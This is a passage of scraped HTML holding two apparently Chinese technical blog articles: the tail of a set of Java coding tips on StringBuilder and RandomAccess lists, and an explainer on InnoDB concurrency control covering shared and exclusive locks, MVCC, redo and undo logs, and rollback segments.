rgb(0, 119, 170);">int</span> i <span class="" style="color: rgb(166, 127, 89);background: rgba(255, 255, 255, 0.5);">=</span> <span class="" style="color: rgb(153, 0, 85);">0</span><span class="" style="color: rgb(153, 153, 153);">;</span> i <span class="" style="color: rgb(166, 127, 89);background: rgba(255, 255, 255, 0.5);">&lt;</span> <span class="" style="color: rgb(153, 0, 85);">10</span><span class="" style="color: rgb(153, 153, 153);">;</span> i<span class="" style="color: rgb(166, 127, 89);background: rgba(255, 255, 255, 0.5);">++</span><span class="" style="color: rgb(153, 153, 153);">)</span> <span class="" style="color: rgb(153, 153, 153);">{</span><br> sb<span class="" style="color: rgb(153, 153, 153);">.</span><span class="" style="color: rgb(221, 74, 104);">append</span><span class="" style="color: rgb(153, 153, 153);">(</span>i<span class="" style="color: rgb(153, 153, 153);">);</span> <span class="" spellcheck="true" style="line-height: 1.8;color: rgb(112, 128, 144);">// 循环中，java编译器无法进行优化，所以要手动使用StringBuilder</span><br><span class="" style="color: rgb(153, 153, 153);">}</span></code></p></pre> <pre class="" style="letter-spacing: 0.544px;background-color: rgb(255, 255, 255);"><p style="line-height: 2em;"><strong><span style="color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;letter-spacing: 0.544px;text-align: left;text-indent: 37px;white-space: pre-line;font-size: 16px;"><br>List 的随机访问</span></strong></p></pre> <p style="letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif; line-height: 2em;"><span style="color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;letter-spacing: 0.544px;text-align: left;text-indent: 37px;white-space: pre-line;font-size: 15px;">大家都知道数组和链表的区别：数组的随机访问效率更高。</span></p> <p style="letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif; line-height: 2em;"><span style="color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;letter-spacing: 0.544px;text-align: left;text-indent: 37px;white-space: pre-line;font-size: 15px;"><br></span></p> <p style="letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif; line-height: 2em;"><span style="color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;letter-spacing: 0.544px;text-align: left;text-indent: 37px;white-space: pre-line;font-size: 15px;">当调用方法获取到 List 后，如果想随机访问其中的数据，并不知道该数组内部实现是链表还是数组，怎么办呢？可以判断它是否实现* RandomAccess *接口。</span></p> <section style="letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;line-height: 1.75em;"> <br> </section> <p style="letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); font-family: -apple-system-font, system-ui, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif; line-height: 2em;"><strong><span style="color: rgb(74, 74, 74);font-family: Avenir, -apple-system-font, 微软雅黑, sans-serif;letter-spacing: 0.544px;text-align: left;text-indent: 37px;white-space: pre-line;font-size: 15px;">正例：</span></strong><span style="font-weight: 600;"></span></p> <pre class="" style="padding: 16px;overflow-wrap: normal;letter-spacing: 0.544px;word-spacing: normal;overflow: auto;font-family: SFMono-Regular, Consolas, Liberation Mono, Menlo, Courier, monospace;font-size: 13.6px;line-height: 1.45;word-break: normal;color: rgb(0, 0, 0);background: rgba(246, 248, 250, 0.8);border-width: initial;border-style: none;border-color: initial;border-radius: 3px;text-shadow: rgb(255, 255, 255) 0px 1px;tab-size: 4;hyphens: none;"><p style="line-height: 2em;"><code class="" style="overflow-wrap: normal;font-family: SFMono-Regular, Consolas, Liberation Mono, Menlo, Courier, monospace;color: inherit;background: 0px 0px transparent;border-radius: 3px;text-shadow: rgb(255, 255, 255) 0px 1px;word-spacing: normal;word-break: normal;line-height: inherit;tab-size: 4;hyphens: none;border-width: 0px;border-style: initial;border-color: initial;display: inline;overflow: visible;"><span class="" spellcheck="true" style="line-height: 1.8;color: rgb(112, 128, 144);">// 调用别人的服务获取到list</span><br>List<span class="" style="color: rgb(166, 127, 89);background: rgba(255, 255, 255, 0.5);">&lt;</span>Integer<span class="" style="color: rgb(166, 127, 89);background: rgba(255, 255, 255, 0.5);">&gt;</span> list <span class="" style="color: rgb(166, 127, 89);background: rgba(255, 255, 255, 0.5);">=</span> otherService<span class="" style="color: rgb(153, 153, 153);">.</span><span class="" style="color: rgb(221, 74, 104);">getList</span><span class="" style="color: rgb(153, 153, 153);">();</span><br><span class="" style="color: rgb(0, 119, 170);">if</span> <span class="" style="color: rgb(153, 153, 153);">(</span>list <span class="" style="color: rgb(0, 119, 170);">instanceof</span> <span class="">RandomAccess</span><span class="" style="color: rgb(153, 153, 153);">)</span> <span class="" style="color: rgb(153, 153, 153);">{</span><br> <span class="" spellcheck="true" style="line-height: 1.8;color: rgb(112, 128, 144);">// 内部数组实现，可以随机访问</span><br> System<span class="" style="color: rgb(153, 153, 153);">.</span>out<span class="" style="color: rgb(153, 153, 153);">.</span><span class="" style="color: rgb(221, 74, 104);">println</span><span class="" style="color: rgb(153, 153, 153);">(</span>list<span class="" style="color: rgb(153, 153, 153);">.</span><span class="" style="color: rgb(221, 74, 104);">get</span><

<p><span style="font-size: 14px;letter-spacing: 1px;"><span style="font-size: 14px;font-family: 宋体;">《<a href="http://mp.weixin.qq.com/s?__biz=MjM5ODYxMDA5OQ==&amp;mid=2651961431&amp;idx=1&amp;sn=4f46fbada3d99ca6cf74b305d06c1ac6&amp;chksm=bd2d0d8b8a5a849d8cb5a616c957abde7a6485cd2624372b84a5459eed081bd95429a09572f8&amp;scene=21#wechat_redirect" target="_blank">InnoDB行锁，如何锁住一条不存在的记录？</a>》埋了一个坑，没想到评论反响剧烈，大家都希望深挖下去。原计划写写</span>InnoDB<span style="font-size: 14px;font-family: 宋体;">的锁结束这个</span>case<span style="font-size: 14px;font-family: 宋体;">，既然呼声这么高，干脆全盘<strong>系统性</strong>的写写</span>InnoDB<span style="font-size: 14px;font-family: 宋体;">的<strong>并发控制</strong>，<strong>锁</strong>，<strong>事务模型</strong>好了。</span></span></p> <p><span style="font-size: 14px;letter-spacing: 1px;">&nbsp;</span></p> <p><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;">体系相对宏大，一篇肯定写不完，容我娓娓道来，<span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;">通俗地说清楚来龙去脉。</span></span></p> <p><span style="font-size: 14px;letter-spacing: 1px;">&nbsp;</span></p> <p><span style="letter-spacing: 1px;font-size: 16px;"><strong><span style="letter-spacing: 1px;font-family: 宋体;">一、并发控制</span></strong></span></p> <p><strong><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;">为啥要进行并发控制？</span></strong></p> <p><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">并发的任务对同一个临界资源进行操作，如果不采取措施，可能导致不一致，故必须进行<strong>并发控制</strong>（</span><span style="letter-spacing: 1px;font-size: 12px;">Concurrency Control</span><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">）。</span></p> <p><br></p> <p><strong><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;">技术上，通常如何进行并发控制？</span></strong></p> <p><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;">通过并发控制保证数据一致性的常见手段有：</span></p> <ul class=" list-paddingleft-2" style="list-style-type: disc;"> <li><p><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">锁（</span><span style="letter-spacing: 1px;font-size: 12px;">Locking</span><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">）</span></p></li> <li><p><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">数据多版本（</span><span style="letter-spacing: 1px;font-size: 12px;">Multi Versioning</span><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">）</span></p></li> </ul> <p><span style="font-size: 14px;letter-spacing: 1px;">&nbsp;</span></p> <p><span style="letter-spacing: 1px;font-size: 16px;"><strong><span style="letter-spacing: 1px;font-family: 宋体;">二、锁</span></strong></span></p> <p><strong><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;">如何使用普通锁保证一致性？</span></strong></p> <p><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;">普通锁，被使用最多：</span></p> <p><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;color: rgb(0, 0, 0);">(1)</span><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;color: rgb(255, 76, 0);">操作数据前，锁住，实施互斥</span><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;">，不允许其他的并发任务操作；</span></p> <p><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;">(2)操作完成后，释放锁，让其他任务执行；</span></p> <p><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;">如此这般，来保证一致性。</span></p> <p><br></p> <p><strong><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;">普通锁存在什么问题？</span></strong></p> <p><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;">简单的锁住太过粗暴，连“读任务”也无法并行，任务执行过程本质上是串行的。</span></p> <p><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;"><br></span></p> <p><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;">于是出现了<strong>共享锁</strong>与<strong>排他锁</strong>：</span></p> <ul class=" list-paddingleft-2" style="list-style-type: disc;"> <li><p><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">共享锁（</span><span style="color: rgb(255, 76, 0);"><strong><span style="letter-spacing: 1px;font-size: 12px;">S</span></strong></span><span style="letter-spacing: 1px;font-size: 12px;">hare Locks</span><span style="font-size: 14px;letter-spacing: 1px;"><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">，记为</span>S<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">锁），读取数据时加</span>S<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">锁</span></span></p></li> <li><p><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">排他锁（</span><span style="letter-spacing: 1px;font-size: 12px;">e</span><span style="letter-spacing: 1px;font-size: 12px;color: rgb(255, 76, 0);"><strong>X</strong></span><span style="letter-spacing: 1px;font-size: 12px;">clusive Locks</span><span style="font-size: 14px;letter-spacing: 1px;"><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">，记为</span>X<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">锁），修改数据时加</span>X<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">锁</span></span></p></li> </ul> <p><span style="font-size: 14px;letter-spacing: 1px;">&nbsp;</span></p> <p><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;">共享锁与排他锁的玩法是：</span></p> <ul class=" list-paddingleft-2" style="list-style-type: disc;"> <li><p><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;color: rgb(255, 76, 0);">共享锁之间不互斥</span><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;">，简记为：</span><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;color: rgb(255, 76, 0);">读读可以并行</span></p></li> <li><p><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;color: rgb(255, 76, 0);">排他锁与任何锁互斥</span><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;">，简记为：</span><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;color: rgb(255, 76, 0);">写读</span><span style="color: rgb(255, 76, 0);font-family: 宋体;font-size: 14px;letter-spacing: 1px;">，写</span><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;color: rgb(255, 76, 0);">写不可以并行</span></p></li> </ul> <p><span style="font-size: 14px;letter-spacing: 1px;">&nbsp;</span></p> <p><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;">可以看到，一旦写数据的任务没有完成，数据是不能被其他任务读取的，这对并发度有较大的影响。</span></p> <p><span style="color: rgb(0, 82, 255);"><em><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;">画外音：<span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;">对应到数据库，可以理解为，写事务没有提交，读相关数据的</span></span><span style="font-family: 宋体;letter-spacing: 1px;font-size: 12px;">select</span><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;">也会被阻塞。</span></em></span></p> <p><span style="font-size: 14px;letter-spacing: 1px;">&nbsp;</span></p> <p><strong><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;">有没有可能，进一步提高并发呢？</span></strong></p> <p><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;">即使写任务没有完成，其他读任务也可能并发，这就引出了数据多版本。</span></p> <p><span style="font-size: 14px;letter-spacing: 1px;">&nbsp;</span></p> <p><span style="letter-spacing: 1px;font-size: 16px;"><strong><span style="letter-spacing: 1px;font-family: 宋体;">三、数据多版本</span></strong></span></p> <p><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;color: rgb(255, 76, 0);">数据多版本</span><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;">是一种能够进一步提高并发的方法，它的<strong>核心原理</strong>是：</span></p> <p><span style="font-size: 14px;letter-spacing: 1px;"><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">（</span>1<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">）写任务发生时，将数据克隆一份，以版本号区分；</span></span></p> <p><span style="font-size: 14px;letter-spacing: 1px;"><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">（</span>2<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">）写任务操作新克隆的数据，直至提交；</span></span></p> <p><span style="font-size: 14px;letter-spacing: 1px;"><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">（</span>3<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">）并发读任务可以继续读取旧版本的数据，不至于阻塞；</span></span></p> <p><img class="" data-copyright="0" data-ratio="0.622356495468278" data-s="300,640" src="/upload/5b54d941439b3e3bf0ed848139e17728.png" data-type="png" data-w="331" style=""></p> <p><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;">如上图：</span></p> <p><span style="font-size: 14px;letter-spacing: 1px;">1. <span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">最开始数据的版本是</span>V0；</span></p> <p><span style="font-size: 14px;letter-spacing: 1px;">2. T1<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">时刻发起了一个写任务，这是把数据</span>clone<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">了一份，进行修改，版本变为</span>V1<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">，但任务还未完成；</span></span></p> <p><span style="font-size: 14px;letter-spacing: 1px;">3. T2<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">时刻并发了一个读任务，依然可以读</span>V0<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">版本的数据；</span></span></p> <p><span style="font-size: 14px;letter-spacing: 1px;">4. T3<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">时刻又并发了一个读任务，依然不会阻塞；</span></span></p> <p><span style="font-size: 14px;letter-spacing: 1px;">&nbsp;</span></p> <p><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;">可以看到，数据多版本，通过“读取旧版本数据”能够极大提高任务的并发度。</span></p> <p><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;"><br></span></p> <p><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;">提高并发的演进思路，就在如此：</span></p> <ul class=" list-paddingleft-2" style="list-style-type: disc;"> <li><p><strong><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;">普通锁</span></strong><span style="font-family:宋体;"><span style="font-size: 14px;letter-spacing: 1px;">，本质是</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(255, 76, 0);">串行</span><span style="font-size: 14px;letter-spacing: 1px;">执行</span></span></p></li> <li><p><strong><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;">读写锁</span></strong><span style="font-family:宋体;"><span style="font-size: 14px;letter-spacing: 1px;">，可以实现</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(255, 76, 0);">读读并发</span></span></p></li> <li><p><strong><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;">数据多版本</span></strong><span style="font-family:宋体;"><span style="font-size: 14px;letter-spacing: 1px;">，可以实现</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(255, 76, 0);">读写并发</span></span></p></li> </ul> <p><span style="color: rgb(0, 82, 255);"><em><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;">画外音：这个思路，比整篇文章的其他技术细节更重要，希望大家牢记。</span></em></span></p> <p><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;"><br></span></p> <p><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;">好，对应到InnoDB上，<span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;">具体</span>是怎么玩的呢？</span></p> <p><span style="font-size: 14px;letter-spacing: 1px;">&nbsp;</span></p> <p><span style="letter-spacing: 1px;font-size: 16px;"><strong><span style="letter-spacing: 1px;font-family: 宋体;">四、</span>redo, undo,</strong><strong><span style="letter-spacing: 1px;font-family: 宋体;">回滚段</span></strong></span></p> <p><span style="font-size: 14px;letter-spacing: 1px;"><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">在进一步介绍</span>InnoDB<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">如何使用“读取旧版本数据”极大提高任务的并发度之前，有必要先介绍下</span>redo<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">日志，</span>undo<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">日志，回滚段（</span></span><span style="letter-spacing: 1px;font-size: 12px;">rollback segment</span><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">）。</span></p> <p><span style="font-size: 14px;letter-spacing: 1px;">&nbsp;</span></p> <p><span style="font-size: 14px;letter-spacing: 1px;"><strong><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">为什么要有</span>redo</strong><strong><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">日志？</span></strong></span></p> <p><span style="font-size: 14px;letter-spacing: 1px;"><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">数据库事务提交后，必须将更新后的数据刷到磁盘上，以保证</span>ACID<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">特性。磁盘<strong>随机写</strong>性能较低，如果每次都刷盘，会极大影响数据库的吞吐量。</span></span></p> <p><span style="font-size: 14px;letter-spacing: 1px;">&nbsp;</span></p> <p><span style="font-size: 14px;letter-spacing: 1px;"><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">优化方式是，将修改行为先写到</span>redo<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">日志里（此时变成了<strong>顺序写</strong>），再定期将数据刷到磁盘上，这样能极大提高性能。</span></span></p> <p><span style="color: rgb(0, 82, 255);"><em><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;">画外音：这里的架构设计方法是，<strong>随机写优化为顺序写</strong>，思路更重要。</span></em></span></p> <p><span style="font-size: 14px;letter-spacing: 1px;">&nbsp;</span></p> <p><span style="font-size: 14px;letter-spacing: 1px;"><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">假如某一时刻，数据库崩溃，还没来得及刷盘的数据，在数据库重启后，会重做</span>redo<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">日志里的内容，以保证已提交事务对数据产生的影响都刷到磁盘上。</span></span></p> <p><span style="font-size: 14px;letter-spacing: 1px;">&nbsp;</span></p> <p><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;"><strong>一句话</strong>，</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(255, 76, 0);">redo<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">日志</span></span><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">用于保障，</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(255, 76, 0);"><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">已提交事务的</span>ACID<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">特性</span></span><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">。</span></p> <p><span style="font-size: 14px;letter-spacing: 1px;">&nbsp;</span></p> <p><span style="font-size: 14px;letter-spacing: 1px;"><strong><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">为什么要有</span>undo</strong><strong><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">日志？</span></strong></span></p> <p><span style="font-size: 14px;letter-spacing: 1px;"><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">数据库事务未提交时，会将事务修改数据的镜像（即修改前的旧版本）存放到</span>undo<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">日志里，当事务回滚时，或者数据库奔溃时，可以利用</span>undo<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">日志，即旧版本数据，撤销未提交事务对数据库产生的影响。</span></span></p> <p><span style="color: rgb(0, 82, 255);"><em><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;">画外音：更细节的，</span></em></span></p> <p><span style="color: rgb(0, 82, 255);"><em><span style="color: rgb(0, 82, 255);font-size: 14px;letter-spacing: 1px;"><span style="color: rgb(0, 82, 255);letter-spacing: 1px;font-size: 14px;font-family: 宋体;">对于</span><strong>insert<span style="color: rgb(0, 82, 255);letter-spacing: 1px;font-size: 14px;font-family: 宋体;">操作</span></strong><span style="color: rgb(0, 82, 255);letter-spacing: 1px;font-size: 14px;font-family: 宋体;">，</span>undo<span style="color: rgb(0, 82, 255);letter-spacing: 1px;font-size: 14px;font-family: 宋体;">日志记录新数据的</span>PK(ROW_ID)<span style="color: rgb(0, 82, 255);letter-spacing: 1px;font-size: 14px;font-family: 宋体;">，回滚时直接删除；</span></span></em></span></p> <p><span style="color: rgb(0, 82, 255);"><em><span style="color: rgb(0, 82, 255);font-size: 14px;letter-spacing: 1px;"><span style="color: rgb(0, 82, 255);letter-spacing: 1px;font-size: 14px;font-family: 宋体;">对于</span><strong>delete/update<span style="color: rgb(0, 82, 255);letter-spacing: 1px;font-size: 14px;font-family: 宋体;">操作</span></strong><span style="color: rgb(0, 82, 255);letter-spacing: 1px;font-size: 14px;font-family: 宋体;">，</span>undo<span style="color: rgb(0, 82, 255);letter-spacing: 1px;font-size: 14px;font-family: 宋体;">日志记录旧数据</span>row<span style="color: rgb(0, 82, 255);letter-spacing: 1px;font-size: 14px;font-family: 宋体;">，回滚时直接恢复；</span></span></em></span></p> <p><span style="color: rgb(0, 82, 255);"><em><span style="color: rgb(0, 82, 255);font-size: 14px;letter-spacing: 1px;"><span style="color: rgb(0, 82, 255);letter-spacing: 1px;font-size: 14px;font-family: 宋体;">他们分别存放在不同的</span>buffer<span style="color: rgb(0, 82, 255);letter-spacing: 1px;font-size: 14px;font-family: 宋体;">里。</span></span></em></span></p> <p><span style="font-size: 14px;letter-spacing: 1px;">&nbsp;</span></p> <p><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;"><strong>一句话</strong>，</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(255, 76, 0);">undo<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">日志</span></span><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">用于保障，</span><span style="font-size: 14px;letter-spacing: 1px;color: rgb(255, 76, 0);"><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">未提交事务不会对数据库的</span>ACID<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">特性</span></span><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">产生影响。</span></p> <p><span style="font-size: 14px;letter-spacing: 1px;">&nbsp;</span></p> <p><span style="font-size: 14px;letter-spacing: 1px;"><strong><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">什么是回滚段？</span></strong></span></p> <p><span style="font-size: 14px;letter-spacing: 1px;"><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">存储</span>undo<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">日志的地方，是回滚段。</span></span></p> <p><span style="font-size: 14px;letter-spacing: 1px;">&nbsp;</span></p> <p><span style="font-size: 14px;letter-spacing: 1px;">undo<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">日志和回滚段和</span>InnoDB<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">的</span>MVCC<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">密切相关，这里举个例子展开说明一下。</span></span></p> <p><span style="font-size: 14px;letter-spacing: 1px;">&nbsp;</span></p> <p><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;"><strong>栗子</strong>：</span></p> <p><span style="letter-spacing: 1px;font-size: 12px;">t(id PK, name);</span></p> <p><span style="font-size: 14px;letter-spacing: 1px;">&nbsp;</span></p> <p><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;">数据为：</span></p> <p style="line-height: normal;"><span style="font-size: 12px;letter-spacing: 1px;">1, shenjian</span></p> <p style="line-height: normal;"><span style="font-size: 12px;letter-spacing: 1px;">2, zhangsan</span></p> <p style="line-height: normal;"><span style="font-size: 12px;letter-spacing: 1px;">3, lisi</span></p> <p><img class="" data-copyright="0" data-ratio="0.29904306220095694" data-s="300,640" src="/upload/9538a7ae37a7555c431001d3fad0b244.png" data-type="png" data-w="418"><br></p> <p><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;">此时没有事务未提交，故回滚段是空的。</span></p> <p><span style="font-size: 14px;letter-spacing: 1px;">&nbsp;</span></p> <p><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;">接着启动了一个事务：</span></p> <p style="line-height: normal;"><span style="letter-spacing: 1px;font-size: 12px;">start trx;</span></p> <p style="line-height: normal;"><span style="letter-spacing: 1px;font-size: 12px;">delete (1, shenjian);</span></p> <p style="line-height: normal;"><span style="letter-spacing: 1px;font-size: 12px;">update set(3, lisi) to (3, xxx);</span></p> <p style="line-height: normal;"><span style="letter-spacing: 1px;font-size: 12px;">insert (4, wangwu);</span></p> <p><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;">并且事务处于</span><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;color: rgb(255, 76, 0);">未提交</span><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;">的状态。</span></p> <p><span style="font-size: 14px;letter-spacing: 1px;">&nbsp;</span></p> <p><img class="" data-copyright="0" data-ratio="0.33495145631067963" data-s="300,640" src="/upload/30cf04aef1b40bcdf314c590476165b3.png" data-type="png" data-w="412" style=""></p> <p><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;">可以看到：</span></p> <p><span style="font-size: 14px;letter-spacing: 1px;">(1)<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">被</span></span><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;color: rgb(255, 76, 0);">删除前</span><span style="font-size: 14px;letter-spacing: 1px;"><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">的</span>(1, shenjian)<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">作为旧版本数据，进入了回滚段；</span></span></p> <p><span style="font-size: 14px;letter-spacing: 1px;">(2)<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">被</span></span><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;color: rgb(255, 76, 0);">修改前</span><span style="font-size: 14px;letter-spacing: 1px;"><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">的</span>(3, lisi)<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">作为旧版本数据，进入了回滚段；</span></span></p> <p><span style="font-size: 14px;letter-spacing: 1px;">(3)<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">被</span></span><span style="font-family: 宋体;font-size: 14px;letter-spacing: 1px;color: rgb(255, 76, 0);">插入的</span><span style="font-size: 14px;letter-spacing: 1px;"><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">数据，</span>PK(4)<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">进入了回滚段；</span></span></p> <p><span style="font-size: 14px;letter-spacing: 1px;">&nbsp;</span></p> <p><span style="font-size: 14px;letter-spacing: 1px;"><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">接下来，假如事务</span>rollback<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">，此时可以通过回滚段里的</span>undo<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">日志回滚。</span></span></p> <p><span style="color: rgb(0, 82, 255);"><em><span style="font-size: 14px;letter-spacing: 1px;"><span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">画外音：假设事务提交，回滚段里的</span>undo<span style="letter-spacing: 1px;font-size: 14px;font-family: 宋体;">日志可以删除。</span></span></em></span></p> <p><span style="font-size: 14px;letter-spacing: 1px;">&nbsp;</span></p> <p><img class="" data-copyright="0" data-ratio="0.4072289156626506" data-s="300,640" 